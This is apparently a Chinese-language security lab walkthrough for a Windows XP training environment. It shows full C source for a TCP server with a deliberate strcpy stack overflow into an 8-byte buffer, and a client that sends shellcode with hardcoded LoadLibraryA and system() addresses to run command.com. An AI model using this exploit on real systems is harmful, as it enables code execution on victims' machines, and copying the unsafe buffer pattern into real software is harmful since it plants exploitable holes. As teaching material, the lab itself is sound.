1、打开控制台。 学生单击“试验环境试验”进入实验场景,单击L005001001xp01_1中的“打开控制台”按钮,进入目标主机。 图1 2、找到桌面上的Microsoft Visual C++ 6.0,双击打开。 图2 3、新建一个C++ Source File,文件名为server,作为服务器。 图3 4、输入以下的代码,并编译构建。图4可以看出,程序没有错误。 图4 #include #include #include #pragma comment (lib, "WS2_32") void showcontent(char *buff); int main(int argc, char **argv) { WSADATA wsaData; if( WSAStartup(0x101, &wsaData) != 0 ) { printf("Failed Initialization.\n"); return 0; } if(argc!=2) { printf("Usage: server.exe [port]\n"); return 0; } int port = atoi(argv[1]); SOCKET sListen = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sListen == INVALID_SOCKET) { printf("Failed socket()\n"); return 0; } sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr.S_un.S_addr = INADDR_ANY; if (::bind(sListen, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR) { printf("Failed bind()\n"); return 0; } if (::listen(sListen, 2) == SOCKET_ERROR) { printf("Failed listen()\n"); return 0; } sockaddr_in remoteAddr; int nAddrLen = sizeof(remoteAddr); SOCKET sClient; char szText[] = "TCP Server is Connected!\n\n"; char buff[1024] = {0}; char toSend[1024] = {0}; while (TRUE) { sClient = ::accept(sListen, (SOCKADDR*)&remoteAddr, &nAddrLen); if (sClient == INVALID_SOCKET) { printf("Failed accept()\n"); continue; } printf("Somebody is connecting: %s\n", inet_ntoa(remoteAddr.sin_addr)); ::send(sClient, szText, strlen(szText), 0); int nRecv = ::recv(sClient, buff, sizeof(buff), 0); if (nRecv > 0) { buff[nRecv] = '\0'; ::closesocket(sClient); break; } } ::closesocket(sListen); showcontent(buff); return 0; } void showcontent(char *buff) { char content[8]; strcpy(content, buff); printf("%s", content); } 5、运行程序,可以看见有server.exe应用程序,[port]是口令。 图5 6、再新建一个C++ Source File,文件名为Client,作为客户端。 图6 7、输入以下的代码,并编译构建。图7可以看出,程序没有错误。 图7 #include #include #include #pragma comment (lib, "WS2_32") int main(int argc, char* *argv) { WSADATA wsaData; if( WSAStartup(0x101, &wsaData) != 0 ) { printf("Failed Initialization.\n"); return 0; } if(argc!=3) { printf("Usage: client.exe [Server_IP] [port]\n"); return 0; } int port = atoi(argv[2]); SOCKET s = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(s == INVALID_SOCKET) { printf("Failed socket()\n"); return 0; } sockaddr_in servAddr; servAddr.sin_family = AF_INET; servAddr.sin_port = htons(port); servAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]); if(::connect(s, (sockaddr *)&servAddr, sizeof(servAddr)) == -1) { printf("Failed connect()\n"); return 0; } char buff[1024]; int nRev = ::recv(s, buff, sizeof(buff), 0); if (nRev > 0) { buff[nRev] = '\0'; printf("Received: %s", buff); } char toSend[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x12\x45\xfa\x7f" "\x55\x8b\xec" "\x33\xc0\x50\x50\x50\xc6\x45\xf4\x4d\xc6\x45\xf5\x53\xc6\x45" "\xf6\x56\xc6\x45\xf7\x43\xc6\x45\xf8\x52\xc6\x45\xf9\x54\xc6" "\x45\xfa\x2e\xc6\x45\xfb\x44\xc6\x45\xfc\x4c\xc6" "\x45\xfd\x4c\xba" "\x80\x1d\x80\x7c" //loadlibrarya "\x52\x8d\x45\xf4\x50\xf" "\xff\xd0"; char toSend2[] = "\x41\x42\x43\x44" "\x45\x46\x47\x48" "\x12\x45\xfa\x7f" "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" "\x9c\x3f\x88\x7c" //loadlibrary地址0x7c883f9c "\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" //command. "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" // c o m "\x50\xB8" "\x7c\xbf\x93\x77" //System地址0x77bf93c7 "\xFF\xD0"; send(s, toSend, strlen(toSend), 0); ::closesocket(s); return 0; } 8、运行程序,可以看见有client.exe应用程序,[Server_IP]是服务器的IP地址,[port]是口令。 图8 9、打开命令提示符,输入“ipconfig”查看本机的IP地址,即为服务器的IP地址。如图9, 这里的IP地址是192.168.1.126。 图9 10、打开桌面上的Debug文件夹,找到其中的client.exe和server.exe。 图10 图11 11、复制server.exe和client.exe,将他们粘贴到“c:\windows\system32”目录下。 图12 12、打开命令提示符,找到“c:\windows\system32”目录,并运行命令“server.exe 8888”来开启server。 图13 13、另外打开一个命令提示符,同样找到“c:\windows\system32”目录,运行命令 “client.exe 192.168.1.126 8888”来攻击server。 图14 14、点击回车键后,可以看见一行提示“Received: TCP Server is Connected!”, 表明连接上了server。然后会弹出一个对话框,显示server.exe遇到问题需要关闭,这表明server被攻击并报错了。 图15 15、实验结束,关闭实验环境。
|